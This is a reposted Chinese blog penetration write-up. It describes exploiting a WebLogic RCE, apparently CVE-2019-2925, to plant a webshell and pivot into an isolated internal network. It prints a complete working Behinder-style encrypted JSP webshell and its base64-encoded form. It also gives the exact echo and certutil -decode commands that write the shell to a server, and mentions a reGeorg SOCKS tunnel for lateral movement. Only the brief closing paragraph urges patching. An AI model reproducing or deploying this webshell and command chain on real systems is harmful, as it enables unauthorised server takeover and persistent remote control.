从rce到隔离内网(转载)

原文链接:https://www.jianshu.com/p/3549d6e7759c

 

作者RabbitMask写的weblogic扫描器:

https://github.com/rabbitmask/WeblogicScan

 

本章亮点主要在于使用bash64加解密写入webshell、查找文件绝对路径等

RCE

通过命令执行,我们获取到以下信息:
目标无法访问外网 => 无法反弹shell
目标系统windows => cmd字符长度限制
目标进程没有杀软 => 可写入webshell
策略:手动写入webshell至网站目录。
 

路径查找

借助RCE dir一下,显然这是webapp所在domain目录:

d:\weblogic1036\user_projects\domains\base_domain

借助RCE一层层去找webapp目录,一脸懵逼ing,这时才想到大佬提到过的dir基本命令,我们通过查看页面源码找到一个标识度较高的文件,然后进行文件遍历:

dir d:\filename.jsp /s /b
/s 子目录下查找
/b 不显示标题信息和摘要,对于文件来说,就是只显示文件名和拓展名,比较好辨识

举个例子:

没有 /b 选项

有 /b 选项

 

 

翻目录真心是个累活,当看到别人一个目录一个目录的翻了很长时间,难以掩盖住内心的辛酸

写入webshell

首先我们需要明确的是,cmd下字符长度限制的问题,参考微软官方说法:

在计算机上运行 Windows XP 或更高版本,您可以在命令提示符下使用该字符串的最大长度 8191 个字符。在运行 Microsoft Windows 2000 或 Windows NT 4.0 的计算机,您可以在命令提示符下使用该字符串的最大长度为 2047个字符。

我们抛弃了jsp大马的选项,在此选用冰蝎的一句话作为本次payload。
在将木马写入指定路径的过程中,发现当cmd命令执行时payload作为字符串出现造成了各种报错,因为payload中含有各种各样的特殊字符,把RCE payload语句完全打乱了,这时候有两种策略:

  • 1、分段写入,通过多次echo到同一文件,最终构成我们完整的payload。
    然而,要对语句中的字符进行逐一转义,尤其是防止双引号意外闭合的问题。然而,这个payload虽然不长,但是几十个特殊字符还是有的,工作量依然很大,pass!
  • 2、bash64编码,cmd本身是支持bash编解码的,所以我们可以借助bash64加密传输,以此来避免特殊字符对语义的感染,然后借助certutil命令进行bash64解码,还原payload。

一句话jsp木马:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

 

进行bash64编码然后echo输出到txt文件:

echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzIikhPW51bGwpe1N0cmluZyBrPSgiIitVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7JT4= >> 1.txt

 

将目标文件内容解码并生成webshell到指定目录:

certutil -decode 1.txt 1.jsp

连入webshell,剩下的都懂昂。

 

当前权限system,接下来reGeorg+Proxifier建立socks隧道将本机带入内网,即可开启隔离内网的后渗透阶段。

 总结

综上所述,看似绝对安全的内外网隔离配置只要存在突破点就会变得漏洞百出,此次对进入隔离内外的突破点正是中间件的RCE漏洞,CVE-2019-2925在最近的几个月一直都很活跃,希望10.3.6 & 12.1.3版本用户引起重视,密切关注官网最新补丁并及时更新。

posted @ 2020-01-03 11:22  我是永恒之友  阅读(308)  评论(0)    收藏  举报